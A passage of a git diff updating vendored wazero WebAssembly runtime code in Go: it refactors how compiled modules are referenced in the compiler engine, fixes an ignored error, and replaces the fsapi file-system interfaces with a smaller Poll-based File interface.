a module (not instantiated one). This holds the machine code // compiled by wazero compiler. compiledFunction struct { @@ -282,7 +303,7 @@ type ( index wasm.Index goFunc interface{} listener experimental.FunctionListener - parent *compiledModule + parent *compiledCode sourceOffsetMap sourceOffsetMap } @@ -496,13 +517,6 @@ func (e *engine) Close() (err error) { e.mux.Lock() defer e.mux.Unlock() // Releasing the references to compiled codes including the memory-mapped machine codes. - - for i := range e.codes { - for j := range e.codes[i].functions { - e.codes[i].functions[j].parent = nil - } - } - e.codes = nil return } @@ -523,9 +537,11 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners var withGoFunc bool localFuncs, importedFuncs := len(module.FunctionSection), module.ImportFunctionCount cm := &compiledModule{ + compiledCode: &compiledCode{ + source: module, + }, functions: make([]compiledFunction, localFuncs), ensureTermination: ensureTermination, - source: module, } if localFuncs == 0 { @@ -559,7 +575,7 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners funcIndex := wasm.Index(i) compiledFn := &cm.functions[i] compiledFn.executableOffset = executable.Size() - compiledFn.parent = cm + compiledFn.parent = cm.compiledCode compiledFn.index = importedFuncs + funcIndex if i < ln { compiledFn.listener = listeners[i] @@ -628,6 +644,8 @@ func (e *engine) NewModuleEngine(module *wasm.Module, instance *wasm.ModuleInsta parent: c, } } + + me.module = cm return me, nil } @@ -720,7 +738,7 @@ func (ce *callEngine) CallWithStack(ctx context.Context, stack []uint64) error { func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []uint64, err error) { m := ce.initialFn.moduleInstance - if ce.ensureTermination { + if ce.module.ensureTermination { select { case <-ctx.Done(): // If the provided context is already done, close the call context @@ -741,12 +759,14 @@ func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []u // If the module closed during the call, and the call didn't err for another reason, set an ExitError. err = m.FailIfClosed() } + // Ensure that the compiled module will never be GC'd before this method returns. + runtime.KeepAlive(ce.module) }() ft := ce.initialFn.funcType ce.initializeStack(ft, params) - if ce.ensureTermination { + if ce.module.ensureTermination { done := m.CloseModuleOnCanceledOrTimeout(ctx) defer done() } @@ -959,11 +979,11 @@ var initialStackSize uint64 = 512 func (e *moduleEngine) newCallEngine(stackSize uint64, fn *function) *callEngine { ce := &callEngine{ - stack: make([]uint64, stackSize), - archContext: newArchContext(), - initialFn: fn, - moduleContext: moduleContext{fn: fn}, - ensureTermination: fn.parent.parent.ensureTermination, + stack: make([]uint64, stackSize), + archContext: newArchContext(), + initialFn: fn, + moduleContext: moduleContext{fn: fn}, + module: e.module, } stackHeader := (*reflect.SliceHeader)(unsafe.Pointer(&ce.stack)) diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go index e6b3b0e914..37e481bdb6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go @@ -17,6 +17,7 @@ import ( func (e *engine) deleteCompiledModule(module *wasm.Module) { e.mux.Lock() defer e.mux.Unlock() + delete(e.codes, module.ID) // Note: we do not call e.Cache.Delete, as the lifetime of @@ -158,14 +159,18 @@ func deserializeCompiledModule(wazeroVersion string, reader io.ReadCloser, modul ensureTermination := header[cachedVersionEnd] != 0 functionsNum := binary.LittleEndian.Uint32(header[len(header)-4:]) - cm = &compiledModule{functions: make([]compiledFunction, functionsNum), ensureTermination: ensureTermination} + cm = &compiledModule{ + compiledCode: new(compiledCode), + functions: make([]compiledFunction, functionsNum), + ensureTermination: ensureTermination, + } imported := module.ImportFunctionCount var eightBytes [8]byte for i := uint32(0); i < functionsNum; i++ { f := &cm.functions[i] - f.parent = cm + f.parent = cm.compiledCode // Read the stack pointer ceil. if f.stackPointerCeil, err = readUint64(reader, &eightBytes); err != nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go index 2555ae3c6e..7de2b33189 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go @@ -1088,7 +1088,7 @@ func (c *amd64Compiler) compileAdd(o *wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -1125,7 +1125,7 @@ func (c *amd64Compiler) compileSub(o *wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -3499,7 +3499,7 @@ func (c *amd64Compiler) compileStoreImpl(offsetConst uint32, inst asm.Instructio reg, err := c.compileMemoryAccessCeilSetup(offsetConst, targetSizeInBytes) if err != nil { - return nil + return err } c.assembler.CompileRegisterToMemoryWithIndex( diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go deleted file mode 100644 index 6e99b1b5d0..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go +++ /dev/null @@ -1,109 +0,0 @@ -package fsapi - -import ( - "fmt" - "io/fs" - "time" - - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// FileType is fs.FileMode masked on fs.ModeType. For example, zero is a -// regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown. -// -// Note: This is defined by Linux, not POSIX. -type FileType = fs.FileMode - -// Dirent is an entry read from a directory via File.Readdir. -// -// # Notes -// -// - This extends `dirent` defined in POSIX with some fields defined by -// Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and -// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html -// - This has a subset of fields defined in Stat_t. Notably, there is no -// field corresponding to Stat_t.Dev because that value will be constant -// for all files in a directory. To get the Dev value, call File.Stat on -// the directory File.Readdir was called on. -type Dirent struct { - // Ino is the file serial number, or zero if not available. See Ino for - // more details including impact returning a zero value. - Ino sys.Inode - - // Name is the base name of the directory entry. Empty is invalid. - Name string - - // Type is fs.FileMode masked on fs.ModeType. For example, zero is a - // regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown. - // - // Note: This is defined by Linux, not POSIX. - Type fs.FileMode -} - -func (d *Dirent) String() string { - return fmt.Sprintf("name=%s, type=%v, ino=%d", d.Name, d.Type, d.Ino) -} - -// IsDir returns true if the Type is fs.ModeDir. -func (d *Dirent) IsDir() bool { - return d.Type == fs.ModeDir -} - -// DirFile is embeddable to reduce the amount of functions to implement a file. -type DirFile struct{} - -// IsAppend implements File.IsAppend -func (DirFile) IsAppend() bool { - return false -} - -// SetAppend implements File.SetAppend -func (DirFile) SetAppend(bool) experimentalsys.Errno { - return experimentalsys.EISDIR -} - -// IsNonblock implements File.IsNonblock -func (DirFile) IsNonblock() bool { - return false -} - -// SetNonblock implements File.SetNonblock -func (DirFile) SetNonblock(bool) experimentalsys.Errno { - return experimentalsys.EISDIR -} - -// IsDir implements File.IsDir -func (DirFile) IsDir() (bool, experimentalsys.Errno) { - return true, 0 -} - -// Read implements File.Read -func (DirFile) Read([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR -} - -// Pread implements File.Pread -func (DirFile) Pread([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR -} - -// PollRead implements File.PollRead -func (DirFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { - return false, experimentalsys.ENOSYS -} - -// Write implements File.Write -func (DirFile) Write([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR -} - -// Pwrite implements File.Pwrite -func (DirFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR -} - -// Truncate implements File.Truncate -func (DirFile) Truncate(int64) experimentalsys.Errno { - return experimentalsys.EISDIR -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go index f40d4155a8..0640b22712 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go @@ -1,77 +1,17 @@ package fsapi -import ( - "syscall" - "time" +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// File is a writeable fs.File bridge backed by syscall functions needed for ABI -// including WASI and runtime.GOOS=js. -// -// Implementations should embed UnimplementedFile for forward compatability. Any -// unsupported method or parameter should return ENOSYS. -// -// # Errors -// -// All methods that can return an error return a Errno, which is zero -// on success. -// -// Restricting to Errno matches current WebAssembly host functions, -// which are constrained to well-known error codes. For example, `GOOS=js` maps -// hard coded values and panics otherwise. More commonly, WASI maps syscall -// errors to u32 numeric values. +// File includes methods not yet ready to document for end users, notably +// non-blocking functionality. // -// # Notes -// -// - You must call Close to avoid file resource conflicts. For example, -// Windows cannot delete the underlying directory while a handle to it -// remains open. -// - A writable filesystem abstraction is not yet implemented as of Go 1.20. -// See https://github.com/golang/go/issues/45757 +// Particularly, Poll is subject to debate. For example, whether a user should +// be able to choose how to implement timeout or not. Currently, this interface +// allows the user to choose to sleep or use native polling, and which choice +// they make impacts thread behavior as summarized here: +// https://github.com/tetratelabs/wazero/pull/1606#issuecomment-1665475516 type File interface { - // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or - // an error retrieving it. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. Zero should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - // - This combined with Ino can implement os.SameFile. - Dev() (uint64, experimentalsys.Errno) - - // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown - // or an error retrieving it. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. Zero should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - // - This combined with Dev can implement os.SameFile. - Ino() (sys.Inode, experimentalsys.Errno) - - // IsDir returns true if this file is a directory or an error there was an - // error retrieving this information. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. false should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - IsDir() (bool, experimentalsys.Errno) + experimentalsys.File // IsNonblock returns true if the file was opened with O_NONBLOCK, or // SetNonblock was successfully enabled on this file. @@ -96,272 +36,34 @@ type File interface { // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html SetNonblock(enable bool) experimentalsys.Errno - // IsAppend returns true if the file was opened with fsapi.O_APPEND, or - // SetAppend was successfully enabled on this file. - // - // # Notes - // - // - This might not match the underlying state of the file descriptor if - // the file was not opened via OpenFile. - IsAppend() bool - - // SetAppend toggles the append mode (fsapi.O_APPEND) of this file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may - // have to re-open the underlying file to apply this. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - SetAppend(enable bool) experimentalsys.Errno - - // Stat is similar to syscall.Fstat. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html - // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - Windows allows you to stat a closed directory. - Stat() (sys.Stat_t, experimentalsys.Errno) - - // Read attempts to read all bytes in the file into `buf`, and returns the - // count read even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.Reader and `read` in POSIX, preferring semantics of - // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html - // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Read(buf []byte) (n int, errno experimentalsys.Errno) - - // Pread attempts to read all bytes in the file into `p`, starting at the - // offset `off`, and returns the count read even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EINVAL: the offset was negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics - // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html - // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) - - // Seek attempts to set the next offset for Read or Write and returns the - // resulting absolute offset or an error. + // Poll returns if the file has data ready to be read or written. // // # Parameters // - // The `offset` parameters is interpreted in terms of `whence`: - // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets - // the next Read or Write to the beginning of the file. - // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets - // the next Read or Write 16 bytes past the prior. - // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the - // next Read or Write to the last byte in the file. - // - // # Behavior when a directory - // - // The only supported use case for a directory is seeking to `offset` zero - // (`whence` = io.SeekStart). This should have the same behavior as - // os.File, which resets any internal state used by Readdir. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EINVAL: the offset was negative. - // - // # Notes - // - // - This is like io.Seeker and `fseek` in POSIX, preferring semantics - // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html - Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) - - // PollRead returns if the file has data ready to be read or an error. + // The `flag` parameter determines which event to await, such as POLLIN, + // POLLOUT, or a combination like `POLLIN|POLLOUT`. // - // # Parameters + // The `timeoutMillis` parameter is how long to block for an event, or + // interrupted, in milliseconds. There are two special values: + // - zero returns immediately + // - any negative value blocks any amount of time // - // The `timeout` parameter when nil blocks up to forever. + // # Results // - // # Errors + // `ready` means there was data ready to read or written. False can mean no + // event was ready or `errno` is not zero. // - // A zero Errno is success. The below are expected otherwise: + // A zero `errno` is success. The below are expected otherwise: // - ENOSYS: the implementation does not support this function. + // - ENOTSUP: the implementation does not the flag combination. + // - EINTR: the call was interrupted prior to an event. // // # Notes // // - This is like `poll` in POSIX, for a single file. // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/poll.html // - No-op files, such as those which read from /dev/null, should return - // immediately true to avoid hangs (because data will never become - // available). - PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno) - - // Readdir reads the contents of the directory associated with file and - // returns a slice of up to n Dirent values in an arbitrary order. This is - // a stateful function, so subsequent calls return any next values. - // - // If n > 0, Readdir returns at most n entries or an error. - // If n <= 0, Readdir returns all remaining entries or an error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file was closed or not a directory. - // - ENOENT: the directory could not be read (e.g. deleted). - // - // # Notes - // - // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html - // - Unlike os.File, there is no io.EOF returned on end-of-directory. To - // read the directory completely, the caller must repeat until the - // count read (`len(dirents)`) is less than `n`. - // - See /RATIONALE.md for design notes. - Readdir(n int) (dirents []Dirent, errno experimentalsys.Errno) - - // Write attempts to write all bytes in `p` to the file, and returns the - // count written even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file was closed, not writeable, or a directory. - // - // # Notes - // - // - This is like io.Writer and `write` in POSIX, preferring semantics of - // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html - Write(buf []byte) (n int, errno experimentalsys.Errno) - - // Pwrite attempts to write all bytes in `p` to the file at the given - // offset `off`, and returns the count written even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not writeable. - // - EINVAL: the offset was negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics - // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html - Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) - - // Truncate truncates a file to a specified length. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - EINVAL: the `size` is negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html - // - Windows does not error when calling Truncate on a closed file. - Truncate(size int64) experimentalsys.Errno - - // Sync synchronizes changes to the file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fsync and `fsync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html - // - This returns with no error instead of ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - Windows does not error when calling Sync on a closed file. - Sync() experimentalsys.Errno - - // Datasync synchronizes the data of a file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html - // - This returns with no error instead of ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - As this is commonly missing, some implementations dispatch to Sync. - Datasync() experimentalsys.Errno - - // Utimens set file access and modification times of this file, at - // nanosecond precision. - // - // # Parameters - // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be - // specified instead of real timestamps. A nil `times` parameter behaves the - // same as if both were set to UTIME_NOW. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.UtimesNano and `futimens` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - // - Windows requires files to be open with fsapi.O_RDWR, which means you - // cannot use this to update timestamps on a directory (EPERM). - Utimens(times *[2]syscall.Timespec) experimentalsys.Errno - - // Close closes the underlying file. - // - // A zero Errno is returned if unimplemented or success. - // - // # Notes - // - // - This is like syscall.Close and `close` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html - Close() experimentalsys.Errno + // immediately true, as data will never become available. + // - See /RATIONALE.md for detailed notes including impact of blocking. + Poll(flag Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go deleted file mode 100644 index 50bf61687d..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go +++ /dev/null @@ -1,296 +0,0 @@ -package fsapi - -import ( - "io/fs" - "syscall" - - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// FS is a writeable fs.FS bridge backed by syscall functions needed for ABI -// including WASI and runtime.GOOS=js. -// -// Implementations should embed UnimplementedFS for forward compatability. Any -// unsupported method or parameter should return ENO -// -// # Errors -// -// All methods that can return an error return a Errno, which is zero -// on success. -// -// Restricting to Errno matches current WebAssembly host functions, -// which are constrained to well-known error codes. For example, `GOOS=js` maps -// hard coded values and panics otherwise. More commonly, WASI maps syscall -// errors to u32 numeric values. -// -// # Notes -// -// A writable filesystem abstraction is not yet implemented as of Go 1.20. See -// https://github.com/golang/go/issues/45757 -type FS interface { - // OpenFile opens a file. It should be closed via Close on File. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` or `flag` is invalid. - // - sys.EISDIR: the path was a directory, but flag included O_RDWR or - // O_WRONLY - // - sys.ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT. - // - // # Constraints on the returned file - // - // Implementations that can read flags should enforce them regardless of - // the type returned. For example, while os.File implements io.Writer, - // attempts to write to a directory or a file opened with O_RDONLY fail - // with a EBADF. - // - // Some implementations choose whether to enforce read-only opens, namely - // fs.FS. While fs.FS is supported (Adapt), wazero cannot runtime enforce - // open flags. Instead, we encourage good behavior and test our built-in - // implementations. - // - // # Notes - // - // - This is like os.OpenFile, except the path is relative to this file - // system, and Errno is returned instead of os.PathError. - // - Implications of permissions when O_CREAT are described in Chmod notes. - // - This is like `open` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) - - // Lstat gets file status without following symbolic links. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.ENOENT: `path` doesn't exist. - // - // # Notes - // - // - This is like syscall.Lstat, except the `path` is relative to this - // file system. - // - This is like `lstat` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/lstat.html - // - An fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - When the path is a symbolic link, the stat returned is for the link, - // not the file it refers to. - Lstat(path string) (sys.Stat_t, experimentalsys.Errno) - - // Stat gets file status. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.ENOENT: `path` doesn't exist. - // - // # Notes - // - // - This is like syscall.Stat, except the `path` is relative to this - // file system. - // - This is like `stat` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html - // - An fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - When the path is a symbolic link, the stat returned is for the file - // it refers to. - Stat(path string) (sys.Stat_t, experimentalsys.Errno) - - // Mkdir makes a directory. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.EEXIST: `path` exists and is a directory. - // - sys.ENOTDIR: `path` exists and is a file. - // - // # Notes - // - // - This is like syscall.Mkdir, except the `path` is relative to this - // file system. - // - This is like `mkdir` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html - // - Implications of permissions are described in Chmod notes. - Mkdir(path string, perm fs.FileMode) experimentalsys.Errno - - // Chmod changes the mode of the file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` does not exist. - // - // # Notes - // - // - This is like syscall.Chmod, except the `path` is relative to this - // file system. - // - This is like `chmod` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/chmod.html - // - Windows ignores the execute bit, and any permissions come back as - // group and world. For example, chmod of 0400 reads back as 0444, and - // 0700 0666. Also, permissions on directories aren't supported at all. - Chmod(path string, perm fs.FileMode) experimentalsys.Errno - - // Rename renames file or directory. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `from` or `to` is invalid. - // - sys.ENOENT: `from` or `to` don't exist. - // - sys.ENOTDIR: `from` is a directory and `to` exists as a file. - // - sys.EISDIR: `from` is a file and `to` exists as a directory. - // - sys.ENOTEMPTY: `both from` and `to` are existing directory, but - // `to` is not empty. - // - // # Notes - // - // - This is like syscall.Rename, except the paths are relative to this - // file system. - // - This is like `rename` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html - // - Windows doesn't let you overwrite an existing directory. - Rename(from, to string) experimentalsys.Errno - - // Rmdir removes a directory. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` doesn't exist. - // - sys.ENOTDIR: `path` exists, but isn't a directory. - // - sys.ENOTEMPTY: `path` exists, but isn't empty. - // - // # Notes - // - // - This is like syscall.Rmdir, except the `path` is relative to this - // file system. - // - This is like `rmdir` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html - // - As of Go 1.19, Windows maps sys.ENOTDIR to sys.ENOENT. - Rmdir(path string) experimentalsys.Errno - - // Unlink removes a directory entry. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` doesn't exist. - // - sys.EISDIR: `path` exists, but is a directory. - // - // # Notes - // - // - This is like syscall.Unlink, except the `path` is relative to this - // file system. - // - This is like `unlink` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/unlink.html - // - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might - // want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows. - // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya - Unlink(path string) experimentalsys.Errno - - // Link creates a "hard" link from oldPath to newPath, in contrast to a - // soft link (via Symlink). - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EPERM: `oldPath` is invalid. - // - sys.ENOENT: `oldPath` doesn't exist. - // - sys.EISDIR: `newPath` exists, but is a directory. - // - // # Notes - // - // - This is like syscall.Link, except the `oldPath` is relative to this - // file system. - // - This is like `link` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html - Link(oldPath, newPath string) experimentalsys.Errno - - // Symlink creates a "soft" link from oldPath to newPath, in contrast to a - // hard link (via Link). - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EPERM: `oldPath` or `newPath` is invalid. - // - sys.EEXIST: `newPath` exists. - // - // # Notes - // - // - This is like syscall.Symlink, except the `oldPath` is relative to - // this file system. - // - This is like `symlink` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/symlink.html - // - Only `newPath` is relative to this file system and `oldPath` is kept - // as-is. That is because the link is only resolved relative to the - // directory when dereferencing it (e.g. ReadLink). - // See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 - // for how others implement this. - // - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`. - // Otherwise, sys.EPERM results. - // See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links - Symlink(oldPath, linkName string) experimentalsys.Errno - - // Readlink reads the contents of a symbolic link. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - // # Notes - // - // - This is like syscall.Readlink, except the path is relative to this - // filesystem. - // - This is like `readlink` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/readlink.html - // - On Windows, the path separator is different from other platforms, - // but to provide consistent results to Wasm, this normalizes to a "/" - // separator. - Readlink(path string) (string, experimentalsys.Errno) - - // Utimens set file access and modification times on a path relative to - // this file system, at nanosecond precision. - // - // # Parameters - // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT - // may be specified instead of real timestamps. A nil `times` parameter - // behaves the same as if both were set to UTIME_NOW. If the path is a - // symbolic link, the target of expanding that link is updated. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.EEXIST: `path` exists and is a directory. - // - sys.ENOTDIR: `path` exists and is a file. - // - // # Notes - // - // - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in - // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno - // TODO: change impl to not use syscall package, - // possibly by being just a pair of int64s.. -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go deleted file mode 100644 index eac4fc9874..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go +++ /dev/null @@ -1,70 +0,0 @@ -package fsapi - -// Oflag are flags used for FS.OpenFile. Values, including zero, should not be -// interpreted numerically. Instead, use by constants prefixed with 'O_' with -// special casing noted below. -// -// # Notes -// -// - O_RDONLY, O_RDWR and O_WRONLY are mutually exclusive, while the other -// flags can coexist bitwise. -// - This is like `flag` in os.OpenFile and `oflag` in POSIX. See -// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html -type Oflag uint32 - -// This is a subset of oflags to reduce implementation burden. `wasip1` splits -// these across `oflags` and `fdflags`. We can't rely on the Go `os` package, -// as it is missing some values. Any flags added will be defined in POSIX -// order, as needed by functions that explicitly document accepting them. -// -// 